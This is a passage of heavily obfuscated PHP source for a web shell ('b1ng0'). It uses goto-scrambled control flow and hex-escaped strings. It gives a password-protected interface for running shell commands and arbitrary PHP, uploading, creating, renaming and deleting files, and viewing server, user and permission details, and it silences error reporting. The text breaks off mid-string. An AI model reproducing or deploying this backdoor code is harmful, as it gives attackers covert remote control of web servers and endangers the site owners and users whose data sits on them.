bWfad: if (!isset($_POST["\x63\x6d\144"])) { goto BxDJk; } goto j82jL; j82jL: $ah5Gc = $_POST["\143\155\144"]; goto IoFCd; IoFCd: w8eSw(Z88RC(), $ah5Gc); goto aXVZK; LZ6lf: goto CHHtv; goto ZzRLv; ZzRLv: case "\160\150\x70": goto xLDE_; xLDE_: print "\x3c\x2f\142\162\76\x3c\x2f\142\162\x3e\74\143\145\x6e\x74\x65\x72\76\74\x68\63\76\120\x48\x50\40\x43\157\x64\145\x3c\x2f\150\63\76\x3c\146\x6f\162\x6d\40\x61\x63\x74\151\x6f\156\75\77\170\75\x70\x68\x70\46\x64\75\x22" . realpath("\x2e") . "\42\40\155\x65\164\x68\x6f\x64\x3d\42\120\x4f\123\x54\x22\x3e\74\151\156\160\165\x74\x20\164\x79\x70\x65\75\x22\x74\145\170\x74\42\x20\166\x61\154\165\145\x3d\42\42\40\156\141\x6d\x65\x3d\42\160\x63\157\144\x65\42\40\151\x64\x3d\42\154\x74\x22\x3e\x20\x3c\151\x6e\x70\165\x74\x20\164\171\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\166\x61\154\165\x65\75\42\107\157\42\x20\x69\144\x3d\42\154\x74\x22\x3e\x3c\57\x66\x6f\162\155\76\74\57\x62\162\x3e\x3c\164\145\170\x74\141\x72\x65\x61\x20\143\157\154\x73\x3d\71\60\x20\162\x6f\x77\x73\75\61\x35\x20\x69\144\x3d\x22\x65\x64\151\164\42\x3e"; goto pRdcR; pRdcR: print "\74\57\164\x65\x78\164\x61\162\x65\x61\x3e\x3c\x2f\143\145\x6e\164\x65\x72\76"; goto MKRkk; MKRkk: goto CHHtv; goto HPpqD; HPpqD: case "\x70\x68\160\x69\156\x66": phpinfo(); goto CHHtv; case "\161": goto hescu; hescu: setcookie($FgQdF, '', time() - 3600); goto ecqrQ; K3BGq: goto CHHtv; goto WT9_Z; ecqrQ: K1VTk(); goto K3BGq; WT9_Z: case "\170": print "\x3c\57\142\162\x3e\x3c\x2f\x62\162\x3e\x3c\x2f\x62\x72\x3e\74\143\145\x6e\x74\145\162\x3e\74\150\61\40\151\144\x3d\42\156\x6d\42\76\x68\157\x70\145\x20\x79\x6f\165\x20\x67\157\157\x64\40\x64\141\171\74\57\150\61\x3e\74\150\63\x3e\x3c\141\x20\150\x72\145\x66\x3d\x22\155\141\x69\154\x74\x6f\x3a\x64\x68\160\x72\151\x76\70\100\147\155\x61\151\154\56\x63\x6f\x6d\x22\x3e\143\157\155\x65\x20\x6f\156\x3c\57\143\145\156\x74\x65\x72\76"; goto CHHtv; } goto IETeT; XKanr: die; goto TtksW; nAKmm: setcookie($FgQdF, $_POST["\x70\x61\x73\x73"], time() + 3600); goto UQbcP; HBh8q: $sL_j7 = "\74\x63\x65\x6e\164\145\162\x3e\x3c\160\40\151\144\x3d\x22\155\145\x6e\x75\42\76\x3c\x73\x70\141\156\x20\151\144\75\x22\x6d\145\x6e\165\102\42\76\x3c\74\141\40\x68\162\x65\146\x3d\42" . $lmRE2 . "\42\x3e\110\x6f\155\x65\74\57\141\76\76\40\x3c\74\141\x20\x68\162\145\146\75\42\77\x78\x3d\x63\155\144\46\x64\75\42" . realpath("\x2e") . "\42\x3e\103\x6f\155\x6d\141\156\144\x3c\x2f\141\76\x3e\40\74\x3c\141\40\x68\162\145\146\75\42\x3f\x78\x3d\x70\150\x70\x26\144\75\x22" . realpath("\56") . "\x22\x3e\x50\x48\x50\x3c\x2f\141\76\x3e\40\74\x3c\x61\x20\x68\162\x65\x66\x3d\42\x6a\x61\166\x61\163\x63\162\151\160\164\72\147\x65\164\x5f\x69\x6e\146\x28\x29\x3b\x22\x3e\111\x6e\x66\x6f\74\x2f\141\x3e\x3e\40\x3c\74\141\40\150\x72\145\x66\x3d\42\77\170\x3d\x71\42\76\114\x6f\147\x6f\x75\x74\x3c\x2f\141\x3e\76\40\74\x2f\163\x70\141\x6e\76\x3c\57\160\x3e\x3c\57\x63\x65\156\x74\x65\x72\x3e"; goto TW6hJ; hwiJw: $nhBhi = "\x3c\x68\x74\155\154\x3e\x3c\150\x65\x61\x64\76\x3c\164\151\164\x6c\x65\x3e\142\x31\x6e\147\x30\x3c\57\x74\x69\x74\x6c\145\x3e\x3c\163\164\x79\154\x65\x3e\x62\x6f\x64\x79\x20\x7b\142\141\143\x6b\x67\162\x6f\165\x6e\x64\72" . $G8Tql . "\73\x63\157\x6c\157\x72\72" . $YudEX . "\x3b\146\157\156\x74\x2d\163\x69\172\x65\x3a\71\x70\x74\x3b\146\157\x6e\164\x2d\x66\141\x6d\151\x6c\171\72\163\x61\x6e\163\x20\x73\145\x72\151\x66\73\175\150\61\43\156\x7b\x70\x6f\163\151\x74\151\157\x6e\x3a\x66\151\170\145\x64\x3b\164\x6f\x70\x3a\x31\x30\160\170\x3b\154\145\146\164\72\x31\60\x70\x78\73\x74\145\x78\x74\55\x73\x68\141\x64\x6f\x77\72\x30\x70\x78\x20\60\x70\170\x20\65\x70\x78\x20\x62\154\x61\143\153\x3b\x63\x6f\154\157\162\x3a\154\x69\155\145\73\175\x68\61\x23\x6e\155\x7b\164\x65\x78\x74\x2d\163\x68\x61\144\157\167\x3a\60\x70\x78\40\60\160\170\x20\65\x70\170\x20\x62\x6c\141\x63\x6b\73\143\157\154\x6f\162\x3a\x63\162\x69\155\163\157\x6e\73\x7d\x61\40\173\143\x6f\154\157\162\x3a" . $YudEX . "\73\x74\145\170\x74\x2d\x64\x65\143\x6f\162\x61\164\x69\157\156\72\156\x6f\156\145\73\x66\x6f\x6e\164\x2d\x66\141\x6d\x69\x6c\x79\x3a\x73\141\156\163\40\163\145\x72\151\146\73\x7d\x61\72\x68\157\166\145\162\x20\173\x63\x6f\x6c\157\x72\x3a\x61\x71\165\141\x3b\175\150\162\x20\173\x62\141\x63\153\x67\162\x6f\165\x6e\144\x3a" . $YudEX . "\x3b\143\x6f\x6c\157\162\x3a\142\154\141\x63\153\73\175\x70\43\x62\x63\153\x7b\x70\x6f\163\151\x74\151\157\x6e\72\146\x69\x78\145\144\73\164\x6f\160\72\x32\60\160\170\73\162\151\x67\x68\x74\72\62\x30\x70\170\73\x7d\x23\x6d\x65\156\x75\40\173\x70\x6f\x73\151\164\x69\x6f\x6e\x3a\146\151\170\145\x64\x3b\x62\x6f\164\x74\157\155\x3a\60\160\x78\x3b\x77\x69\144\164\150\x3a\61\x30\60\x25\73\146\x6f\156\x74\x2d\163\151\x7a\x65\72\61\63\x70\164\x3b\175\x23\x6d\x65\x6e\165\102\x20\x7b\142\x61\x63\x6b\147\162\157\x75\156\x64\x3a" . $G8Tql . "\73\142\x6f\x78\x2d\163\x68\141\144\x6f\x77\72\x30\x70\x78\40\60\x70\170\40\x31\60\160\x78\x20\x62\154\141\143\153\x3b\142\x6f\x72\x64\145\x72\55\x72\x61\x64\151\165\x73\x3a\61\x35\x70\170\x3b\160\141\x64\144\x69\156\x67\72\x35\x70\x78\x20\x32\60\160\x78\40\x35\x70\170\x20\62\60\x70\x78\x3b\x7d\164\x61\x62\154\x65\43\155\157\162\x65\111\x7b\x66\157\x6e\164\55\x73\x69\x7a\x65\x3a\x39\x70\164\73\142\x61\x63\153\147\162\x6f\x75\156\144\x3a" . $G8Tql . "\73\142\x6f\162\x64\145\162\55\162\x61\144\151\x75\163\x3a\x31\x30\x70\x78\73\142\x6f\170\x2d\163\150\x61\x64\157\x77\x3a\x30\x70\x78\x20\x30\x70\x78\x20\61\x30\160\170\40\x62\154\141\x63\x6b\73\x70\141\144\x64\151\156\x67\x3a\65\160\x78\73\160\157\x73\151\164\x69\157\156\72\x66\151\x78\145\144\73\x62\157\164\x74\x6f\x6d\72\64\x30\x70\170\73\x72\x69\x67\x68\x74\x3a\64\60\160\x78\73\x64\151\163\160\154\141\x79\x3a\156\x6f\x6e\x65\x3b\x7d\x70\43\x63\160\x20\x7b\x66\x6f\156\164\x2d\x73\151\x7a\x65\72\x31\61\x70\164\73\175\x74\141\142\154\145\43\154\164\40\173\146\157\156\x74\x2d\163\151\x7a\x65\x3a\61\x30\x70\x74\73\175\151\x6e\x70\165\164\x23\x6c\x74\x2c\x69\156\x70\165\164\43\163\x76\x20\173\x62\x61\143\153\x67\x72\157\x75\156\144\x3a" . $G8Tql . "\73\142\157\x72\144\145\162\x2d\162\x61\144\151\x75\x73\x3a\61\60\160\170\x3b\x62\x6f\x72\144\x65\162\72\x31\160\170\x20\x73\x6f\154\x69\144\x20" . $YudEX . "\73\143\157\154\157\x72\x3a" . $YudEX . "\x3b\164\x65\x78\164\55\141\x6c\x69\147\x6e\72\143\145\156\164\145\x72\x3b\175\151\x6e\x70\x75\164\x23\154\x74\142\40\173\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x72\147\142\x61\x28\60\x2c\60\x2c\x30\x2c\x30\x29\73\142\157\162\x64\145\x72\55\x72\141\144\151\x75\163\72\61\x30\160\x78\x3b\x63\x6f\154\157\x72\x3a" . $YudEX . "\73\142\157\170\55\x73\x68\x61\144\x6f\167\72\x30\160\170\x20\60\160\x78\40\x31\160\170\40" . $YudEX . "\73\x62\x6f\x72\x64\145\x72\72\x30\x70\x78\x20\x73\x6f\154\151\144\40\x72\147\142\141\x28\60\54\x30\x2c\60\x2c\x30\x29\x3b\x7d\164\x61\142\154\x65\43\x66\x74\40\173\x66\x6f\x6e\164\55\x73\151\x7a\x65\x3a\71\x70\x74\x3b\160\141\x64\144\151\x6e\147\72\65\x70\170\73\x62\x6f\x72\x64\145\162\55\162\x61\144\x69\165\x73\x3a\x31\x30\x70\170\x3b\142\x6f\x78\55\163\150\141\144\157\167\x3a\x30\160\170\40\60\160\x78\x20\x31\x30\x70\170\40\142\154\141\x63\x6b\x3b\175\x74\x64\x23\x66\x68\40\173\142\x6f\162\144\x65\x72\55\142\x6f\164\164\x6f\x6d\72\x31\160\170\40\163\x6f\154\x69\144\40" . $YudEX . "\73\160\x61\x64\x64\151\156\x67\55\x62\x6f\x74\164\x6f\x6d\x3a\63\160\170\73\x7d\164\162\x23\146\156\x3a\x68\157\166\x65\162\x7b\142\x6f\170\55\x73\150\x61\144\157\167\72\60\x70\170\40\60\x70\170\40\x35\x70\x78\40\x62\x6c\x61\143\153\73\175\150\x33\x20\173\x74\145\x78\164\x2d\x73\x68\x61\144\x6f\167\x3a\x30\160\170\x20\60\160\x78\x20\64\x70\x78\40\142\154\141\x63\153\73\146\x6f\x6e\x74\55\163\x69\172\x65\x3a\x31\63\x70\x74\73\175\x74\145\x78\x74\141\162\145\x61\x23\145\x64\151\164\x20\173\x62\141\x63\153\x67\x72\157\x75\x6e\144\72" . $G8Tql . "\73\x63\157\x6c\x6f\162\72" . $YudEX . "\x3b\x62\x6f\170\55\163\150\x61\x64\157\167\x3a\x30\x70\x78\40\60\160\x78\x20\61\x30\160\170\x20\142\154\x61\x63\x6b\73\142\x6f\x72\x64\x65\162\55\162\x61\x64\x69\x75\163\72\61\x30\x70\x78\x3b\x62\157\x72\x64\145\x72\x3a\x6e\x6f\x6e\x65\73\x70\x61\144\144\x69\x6e\147\x3a\x31\60\x70\170\x3b\x7d\74\57\163\x74\x79\x6c\145\76\x3c\163\143\x72\151\x70\x74\40\164\171\x70\x65\x3d\x22\164\x65\x78\164\57\152\141\166\x61\163\143\x72\151\x70\x74\x22\76\146\x75\156\143\164\151\157\156\40\147\145\164\137\151\156\146\x28\x29\x20\x7b\151\146\x28\144\157\143\165\155\145\156\164\56\x67\x65\164\105\x6c\145\155\x65\x6e\164\x42\x79\x49\x64\50\x27\155\x6f\162\145\x49\47\x29\x2e\163\x74\x79\154\145\56\144\x69\x73\x70\x6c\141\171\75\75\x22\142\x6c\x6f\143\x6b\x22\x29\173\x64\157\143\x75\155\x65\156\x74\56\147\x65\x74\105\x6c\145\155\x65\x6e\x74\102\x79\x49\144\x28\x27\155\x6f\x72\x65\x49\x27\x29\56\x73\x74\x79\x6c\145\56\144\x69\x73\x70\x6c\x61\171\75\x22\x6e\x6f\x6e\x65\x22\175\x65\154\163\145\40\173\x64\157\143\165\x6d\145\x6e\164\56\x67\145\x74\105\154\145\x6d\x65\156\164\x42\171\x49\x64\50\47\x6d\x6f\162\145\x49\x27\51\56\x73\164\x79\x6c\145\x2e\144\151\x73\160\154\x61\x79\75\42\142\154\x6f\143\x6b\x22\x3b\175\175\40\146\x75\x6e\x63\164\151\157\156\x20\x78\171\156\50\151\144\x31\x2c\x69\x64\x32\x29\x20\173\x64\x6f\x63\x75\x6d\145\156\164\56\147\145\x74\x45\x6c\x65\155\145\156\164\x42\x79\111\x64\x28\151\x64\61\x29\x2e\x73\x74\x79\154\145\x2e\x64\x69\x73\160\154\141\171\75\x22\x62\154\157\143\153\42\x3b\144\157\x63\x75\x6d\145\x6e\164\56\147\x65\164\x45\x6c\x65\155\145\x6e\164\x42\171\111\144\50\151\144\x32\x29\x2e\163\x74\171\x6c\145\56\144\151\x73\x70\154\x61\x79\x3d\42\156\157\x6e\145\42\73\x7d\x3c\x2f\x73\x63\162\x69\160\x74\x3e\74\x2f\x68\x65\x61\144\76\x3c\142\157\144\x79\76\x3c\150\x31\40\151\x64\75\42\156\42\76\74\x61\x20\x68\x72\x65\x66\x3d\x22\77\x78\x3d\x78\x22\76\102\111\116\107\117\x3c\x2f\x61\76\74\x2f\150\x31\x3e"; goto HBh8q; LbmRl: $lmRE2 = basename(__FILE__); goto cKlYu; nBqT7: error_reporting(0); goto NKYDD; Csmi5: Ee_dF: goto qQZpz; W5YZW: if (!isset($_GET["\144\145\x6c\x64"])) { goto ycMQr; } goto revXP; kv8EH: $C2b01 = $_GET["\156\x64\151\x72"]; goto GHtfx; T212o: function k1vtK() { header("\x4c\x6f\143\x61\x74\151\x6f\x6e\x3a\40" . basename(__FILE__)); } goto dBWiJ; qJ6Fi: $ZuzEd = get_current_user() . "\x20\x75\x69\x64\72" . getmyuid() . "\x20\147\151\144\x3a" . getmygid(); goto w4SJM; R19zR: $wQkq6[] .= $UV9Rq; goto MVMIW; KPjap: print "\74\x70\40\x61\x6c\151\x67\x6e\75\x22\x63\x65\156\164\x65\162\x22\x20\151\x64\75\x22\x63\160\x22\76" . YctbB('') . "\x3c\x2f\x70\76"; goto syMci; C5ZNi: k1vtK(); goto QSOla; BWqy6: print $nhBhi; goto GPRkk; MulRR: H5ftD: goto CNzef; jyHMN: jz7cP: goto w5s4a; EiyEh: ykPY9: goto LCo_P; vR_7C: CHHtv: goto TZuv8; VMUyB: cKxWk: goto ZuL9H; abvSy: asort($wQkq6); goto lzsYC; cKlYu: $zNtkm = $_SERVER["\123\x45\x52\x56\x45\x52\137\123\117\106\124\x57\x41\x52\105"]; goto LTDkI; eYGDa: if (!isset($_GET["\x64"])) { goto ykPY9; } goto MOmki; fepT0: $b3h25 = $_GET["\144\146"]; goto WKjZl; PqfiP: if (isset($_REQUEST["\x78"])) { goto q8n5u; } goto eYGDa; JFyK8: $NYRK2 = $_GET["\x63\150"]; goto fepT0; wfYo4: move_uploaded_file($_FILES["\x75\160\146\x69\154\145"]["\164\155\160\x5f\x6e\x61\x6d\145"], $b3h25); goto OgeN2; HA1Mw: function x8f12() { goto RzUCl; RzUCl: if (function_exists("\165\x65\x35\x53\132")) { goto yACrd; } goto nbmlb; OgLKU: yACrd: goto bYLGl; bYLGl: $A29MP = "\74\146\x6f\x6e\164\x20\143\157\x6c\x6f\162\75\154\x69\155\x65\76\117\x4e\x3c\x2f\x66\x6f\x6e\164\76"; goto f_KzQ; f_KzQ: cDdym: goto TVeld; TVeld: return $A29MP; goto JVFs_; q2EBx: goto cDdym; goto OgLKU; nbmlb: $A29MP = "\74\x66\x6f\x6e\x74\40\143\157\x6c\157\x72\75\x72\x65\144\x3e\x4f\x46\x46\x3c\57\146\x6f\x6e\164\76"; goto q2EBx; JVFs_: } goto GvdoP; p50L9: $T2lPK = "\x3c\143\x65\156\164\x65\162\x3e\74\160\x20\x69\144\75\x22\151\156\x66\42\76\x7c\174\174\40\x3c\x62\76\74\x69\x3e\74\165\x3e\x53\x6f\x66\x74\167\x61\162\145\72\x3c\57\165\76\x3c\57\151\76\x3c\x2f\142\x3e\x20" . $zNtkm . "\x20\x20\174\174\174\x20\40\74\142\76\x3c\151\x3e\x3c\165\x3e\x55\156\x61\x6d\145\x3a\x3c\x2f\x75\x3e\74\57\x69\x3e\x3c\57\142\x3e\40" . $gKRnL . "\40\174\x7c\174\x3c\x2f\142\162\76\x7c\174\174\x20\x3c\142\76\x3c\x69\x3e\74\165\x3e\x55\x73\145\x72\x3a\74\x2f\165\x3e\x3c\x2f\151\x3e\x3c\57\142\x3e\x20" . $ZuzEd . "\x20\174\x7c\x7c\x20\74\142\x3e\x3c\x69\76\x3c\x75\x3e\x53\141\x66\x65\x20\x4d\x6f\144\145\72\74\x2f\165\x3e\x3c\x2f\x69\x3e\74\x2f\142\76\40" . $tDjQt . "\40\174\174\x7c\40\x3c\x62\76\74\151\x3e\x3c\165\76\104\x69\162\x65\143\x74\x6f\162\x79\x3a\40\x3c\57\x69\x3e\x3c\x2f\x62\x3e\x3c\57\165\76" . $OrIcc . "\40\x7c\174\174\74\x2f\x70\76\74\57\143\145\x6e\x74\x65\162\x3e\74\150\162\76"; goto BWqy6; wSc1F: function gSyzF() { goto fxayx; TIkkA: return $C2ngF; goto WQypz; fxayx: if (extension_loaded("\143\x75\162\x6c")) { goto Gav2J; } goto ydoyG; ydoyG: $C2ngF = "\x3c\146\157\x6e\x74\x20\143\157\x6c\157\162\x3d\162\145\x64\x3e\x4f\x46\x46\x3c\x2f\146\157\156\164\x3e"; goto O371W; O371W: goto oiKbt; goto AdGnG; xaURC: $C2ngF = "\x3c\x66\x6f\156\x74\x20\x63\157\154\157\x72\75\x3e\117\x4e\74\x2f\x66\x6f\156\x74\x3e"; goto zAEcr; AdGnG: Gav2J: goto xaURC; zAEcr: oiKbt: goto TIkkA; WQypz: } goto oOXVN; lzv80: $b3h25 = $_GET["\x64\x65\x6c\x66"]; goto THaT5; syMci: print "\74\164\141\x62\154\145\x20\167\151\x64\164\150\75\71\60\45\40\x61\154\x69\x67\156\75\42\x63\x65\156\x74\145\162\x22\40\x69\x64\75\x22\x6c\x74\42\x63\x65\154\x6c\160\x61\x64\144\x69\156\x67\75\42\x30\x22\x3e\74\x74\144\x20\x61\x6c\151\x67\x6e\x3d\x22\143\145\x6e\x74\145\x72\42\x3e\x3c\146\157\162\x6d\x20\141\143\164\151\157\156\x3d\x22\x3f\x64\75" . realpath("\x2e") . "\42\40\155\145\x74\x68\x6f\x64\x3d\42\x47\105\124\x22\x3e\x43\x72\145\141\164\x65\x20\x44\151\x72\72\x20\x3c\151\156\x70\165\164\40\164\x79\160\x65\75\42\150\x69\144\x64\x65\156\42\x20\x6e\x61\155\145\75\x22\144\42\x20\166\141\154\x75\x65\75\x22" . realpath("\56") . "\x22\x20\x69\x64\x3d\x22\154\164\x22\76\74\151\x6e\x70\x75\164\x20\x74\x79\x70\x65\75\x22\164\x65\x78\x74\42\40\x76\141\154\x75\x65\x3d\42\x22\x20\156\141\155\145\x3d\x22\x6e\144\151\162\x22\x20\x69\x64\x3d\x22\x6c\164\42\x3e\40\x3c\x69\156\160\165\x74\x20\x74\171\x70\145\x3d\42\163\165\x62\x6d\151\x74\x22\x20\x76\x61\154\165\x65\x3d\42\107\157\42\x20\151\x64\75\42\x6c\164\42\x3e\x3c\x2f\146\157\162\x6d\x3e\x3c\57\x74\x64\x3e\x3c\x74\144\40\141\x6c\x69\x67\x6e\x3d\x22\143\x65\x6e\164\x65\162\x22\x3e\x3c\x66\157\x72\155\40\x61\143\164\x69\x6f\156\75\42\x3f\144\75\x22" . realpath("\56") . "\42\40\155\x65\x74\150\x6f\x64\75\x22\x47\105\124\42\76\103\162\x65\x61\x74\x65\x20\106\151\x6c\145\x3a\40\74\x69\156\160\x75\164\x20\164\171\160\x65\75\x22\150\x69\144\x64\x65\156\42\x20\x76\141\x6c\x75\145\x3d\42" . realpath("\x2e") . "\x22\x20\156\x61\x6d\145\x3d\42\144\42\40\151\x64\x3d\x22\x6c\x74\x22\76\x3c\151\x6e\x70\x75\x74\40\x74\x79\160\145\75\42\150\x69\x64\x64\145\156\42\x20\x76\x61\x6c\165\145\75\42\x63\x22\40\x6e\x61\x6d\x65\75\42\170\x22\76\74\x69\x6e\160\165\164\40\164\171\160\x65\x3d\42\164\145\170\164\x22\40\x76\x61\x6c\165\x65\75\x22\x22\x20\x6e\141\x6d\x65\x3d\42\146\x22\x20\x69\x64\x3d\x22\x6c\x74\42\76\x20\74\151\156\160\x75\x74\x20\x74\171\160\145\x3d\42\x73\165\142\155\x69\164\42\x20\166\x61\x6c\x75\145\75\x22\107\157\42\x20\151\144\x3d\42\154\164\42\x3e\74\57\x66\157\162\x6d\76\x3c\57\164\x64\76\x3c\164\144\40\141\154\151\x67\156\75\x22\x63\x65\156\164\x65\x72\42\76\74\146\x6f\162\x6d\x20\x61\143\x74\151\x6f\156\75\x22\x3f\170\75\143\x6d\144\x26\x64\75" . realpath("\x2e") . "\x22\40\155\145\x74\150\x6f\x64\75\x22\x50\x4f\x53\124\x22\x3e\x43\157\155\x6d\x61\x6e\x64\x3a\x20\74\151\x6e\160\165\x74\x20\x74\x79\160\x65\x3d\x22\164\x65\x78\164\42\40\x76\141\x6c\165\145\75\42\42\40\156\141\x6d\x65\75\x22\143\155\144\42\40\x69\x64\75\x22\x6c\x74\x22\76\x20\x3c\151\156\x70\165\164\40\x74\x79\x70\x65\x3d\42\163\165\142\155\x69\x74\x22\40\166\141\154\165\145\75\x22\107\x6f\42\x20\151\144\x3d\42\154\164\42\x3e\x3c\x2f\x66\x6f\162\155\x3e\x3c\57\x74\144\76\74\x74\144\40\141\x6c\x69\x67\x6e\75\42\x63\x65\x6e\x74\145\162\42\76\74\146\157\x72\x6d\40\x61\143\164\x69\x6f\x6e\x3d\42\77\144\75" . realpath("\x2e") . "\42\x20\155\x65\164\x68\x6f\144\x3d\42\x50\117\x53\x54\42\40\145\x6e\143\164\x79\160\145\75\42\155\165\x6c\164\x69\x70\141\162\x74\x2f\x66\x6f\162\155\x2d\144\x61\x74\x61\x22\x3e\125\160\154\157\141\x64\x3a\x20\x3c\151\156\160\165\x74\40\164\171\x70\x65\x3d\42\150\x69\144\144\145\x6e\x22\x20\x76\141\x6c\165\145\75\x22\x31\x30\x30\60\60\60\x30\x30\x30\42\40\x6e\141\x6d\145\75\x22\115\101\130\x5f\x46\111\114\x45\137\123\111\x5a\105\42\76\74\151\x6e\x70\165\x74\x20\164\171\x70\x65\x3d\42\x66\151\154\x65\x22\40\156\x61\155\145\75\x22\165\160\146\151\154\145\42\40\151\144\75\42\154\x74\x62\x22\76\40\74\151\156\x70\165\x74\40\x74\171\x70\145\75\42\x73\x75\x62\x6d\151\x74\x22\x20\x76\x61\154\x75\145\x3d\42\x47\x6f\42\40\151\144\x3d\42\x6c\x74\42\x3e\x3c\x2f\x66\x6f\162\x6d\76\74\x2f\164\144\x3e\x3c\x2f\164\x61\x62\x6c\x65\76"; goto NM7aM; NlPft: if (!(!empty($ym729) && !isset($_COOKIE[$FgQdF]) or $_COOKIE[$FgQdF] != $ym729)) { goto a94Dy; } goto C1MDy; BU9T2: function NfuRY() { goto FVQbP; xux2X: PVF1O: goto RhoJA; kkpRX: goto PVF1O; goto du1Sv; bPswx: $qHTzf = "\74\146\x6f\x6e\x74\40\x63\157\154\157\162\x3d\x72\145\144\76\x4f\x46\106\x3c\57\146\157\156\164\76"; goto kkpRX; r551Y: $qHTzf = "\74\146\x6f\x6e\x74\x20\143\x6f\x6c\157\x72\75\154\151\155\145\76\x4f\x4e\74\57\x66\x6f\x6e\164\x3e"; goto xux2X; du1Sv: NjNOq: goto r551Y; RhoJA: return $qHTzf; goto YmqjQ; FVQbP: if (function_exists("\121\x64\147\x47\x36")) { goto NjNOq; } goto bPswx; YmqjQ: } goto lIZow; MOmki: chdir($_GET["\144"]); goto EiyEh; cz3Qb: $C2b01 = $_POST["\156\145\x77"]; goto Py3Ky; vR4v0: rename($b3h25 . DIRECTORY_SEPARATOR . $qHTzf, $b3h25 . DIRECTORY_SEPARATOR . $C2b01); goto YHJEo; Pyg4S: chdir($_GET["\144"]); goto usU03; IpWoZ: $B1KHo[] .= $UV9Rq; goto u0ifl; usU03: Ucqzw: goto PqfiP; GPRkk: print $sL_j7; goto UwImL; NM7aM: print "\74\57\142\x72\x3e"; goto d6Gpp; TZuv8: y1aGj: goto Zdcxz; vcJ56: $FgQdF = "\x74\165\156\x61\x66\x65\x65\163\x68"; goto pt5pF; Qfe6Y: $wQkq6 = array(); goto a3G7I; QSOla: tg6Rd: goto NlPft; zIaoF: function OOF7D($zfvI0) { goto L39Sl; OdSFG: O6pjB: goto vkprq; PDsD1: m8x6m: goto zcKXM; HgMsM: return "\x3f\77\x3f"; goto tFCXm; L39Sl: if (file_exists($zfvI0)) { goto O6pjB; } goto HgMsM; vkprq: return substr(sprintf("\x25\x6f", fileperms($zfvI0)), -4); goto PDsD1; tFCXm: goto m8x6m; goto OdSFG; zcKXM: } goto SS9XY; nEYU_: function JdZMb($zfvI0) { goto rAImi; ikPv9: NWV22: goto BTJzV; bKwpj: $C2ngF = "\x6c\151\x6d\145"; goto oUwi1; rAImi: if (!is_writable($zfvI0)) { goto RBcAd; } goto bKwpj; oUwi1: RBcAd: goto M4_oG; BTJzV: if (!(!is_writable($zfvI0) && !is_readable($zfvI0))) { goto sVlkP; } goto gJI3D; IVV_n: $C2ngF = '' . $YudEX . ''; goto ikPv9; gJI3D: $C2ngF = "\143\x72\x69\155\x73\x6f\156"; goto JHV14; JHV14: sVlkP: goto Q2uef; M4_oG: if (!(!is_writable($zfvI0) && is_readable($zfvI0))) { goto NWV22; } goto IVV_n; Q2uef: return $C2ngF; goto j7spb; j7spb: } goto zIaoF; oOXVN: function wj6fu() { goto xIyXH; xIyXH: if (ini_get("\x72\145\x71\x69\163\x74\145\162\x5f\147\154\157\x62\x61\x6c\x73")) { goto QPzQ5; } goto jPU99; Ep9vE: $EMJjc = "\74\x66\x6f\156\164\x20\143\157\154\x6f\162\75\154\151\x6d\x65\x3e\x4f\116\74\57\146\x6f\x6e\164\76"; goto fzHZO; fzHZO: ZOytq: goto covPp; JR82l: goto ZOytq; goto NQKle; covPp: return $EMJjc; goto Y6JBZ; NQKle: QPzQ5: goto Ep9vE; jPU99: $EMJjc = "\74\146\157\x6e\164\x20\143\157\154\157\162\75\162\145\x64\x3e\117\x46\106\74\57\146\157\x6e\x74\76"; goto JR82l; Y6JBZ: } goto BU9T2; iJxJ0: if (!isset($_GET["\x64"])) { goto Ucqzw; } goto Pyg4S; pEZ1A: foreach ($B1KHo as $UV9Rq) { goto lAfNG; m0Pw3: $WiNCA["\x6e\x61\155\145"] = "\x3f\x3f\77"; goto v_VE_; Ddkwg: goto HwBC1; goto aO4yS; coK5_: C1yJ1: goto dOMDe; jA_u1: HwBC1: goto P1NMu; ErFGG: $gdk6U = posix_getgrgid(filegroup($UV9Rq)); goto jA_u1; lAfNG: if (function_exists("\160\157\x73\151\170\137\x67\145\164\x70\167\165\151\x64") && function_exists("\x70\x6f\x73\151\x78\x5f\x67\x65\x74\147\x72\x67\x69\x64")) { goto qk8Ih; } goto m0Pw3; aO4yS: qk8Ih: goto ahfeW; P1NMu: print "\74\x74\144\40\x69\144\75\42\146\143\x22\x3e\x3c\x73\160\x61\x6e\x20\x69\144\x3d\x22\156" . $UV9Rq . "\x22\x3e\74\141\x20\150\x72\145\146\x3d\42\77\x78\x3d\x63\x26\144\x3d" . realpath("\56") . "\46\x66\75" . $UV9Rq . "\x22\76" . $UV9Rq . "\74\57\x61\76\74\x2f\x73\160\x61\156\x3e\x3c\163\160\141\x6e\40\151\x64\x3d\x22\x72" . $UV9Rq . "\42\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\141\x79\x3a\156\x6f\x6e\145\73\42\x3e\x3c\x66\157\x72\x6d\x20\x61\143\164\x69\157\156\x3d\42\x3f\x64\75" . realpath("\56") . "\42\x20\x6d\145\164\150\x6f\x64\75\x22\120\x4f\x53\124\42\76\x3c\151\156\x70\165\164\40\x74\171\x70\145\x3d\42\x68\x69\x64\x64\x65\x6e\42\40\166\141\x6c\x75\x65\x3d\x22" . realpath("\x2e") . "\x22\x20\156\x61\x6d\x65\x3d\42\x64\x22\76\40\x3c\151\x6e\x70\165\164\x20\x74\171\160\x65\x3d\42\164\x65\x78\164\42\40\151\144\x3d\42\x6c\x74\42\x20\166\141\x6c\x75\145\75\x22" . $UV9Rq . "\42\40\x6e\141\x6d\145\75\x22\x6e\x65\x77\42\76\74\x69\156\x70\x75\164\x20\164\171\x70\x65\x3d\42\x68\x69\144\144\145\156\x22\x20\x76\141\x6c\165\145\x3d\42" . $UV9Rq . "\42\x20\x6e\x61\x6d\x65\75\42\x6f\154\144\42\76\74\x69\156\160\165\x74\x20\164\x79\x70\145\75\42\163\x75\142\x6d\x69\164\42\40\151\144\x3d\x22\x6c\x74\42\x20\x76\141\154\165\x65\x3d\42\x52\x65\x6e\141\155\145\42\x3e\x3c\x69\x6e\160\165\x74\40\164\171\160\145\75\x22\x62\165\x74\164\x6f\x6e\x22\40\x69\x64\75\x22\x6c\x74\42\x20\166\x61\154\165\x65\x3d\42\103\x61\156\x63\x65\x6c\42\x20\x6f\x6e\103\154\x69\x63\153\75\x22\170\x79\156\50\47\156" . $UV9Rq . "\47\54\x27\162" . $UV9Rq . "\47\51\x3b\42\76\74\57\x66\x6f\162\155\x3e\74\x2f\163\x70\x61\x6e\76\x3c\163\160\x61\x6e\x20\151\x64\x3d\x22\x64" . $UV9Rq . 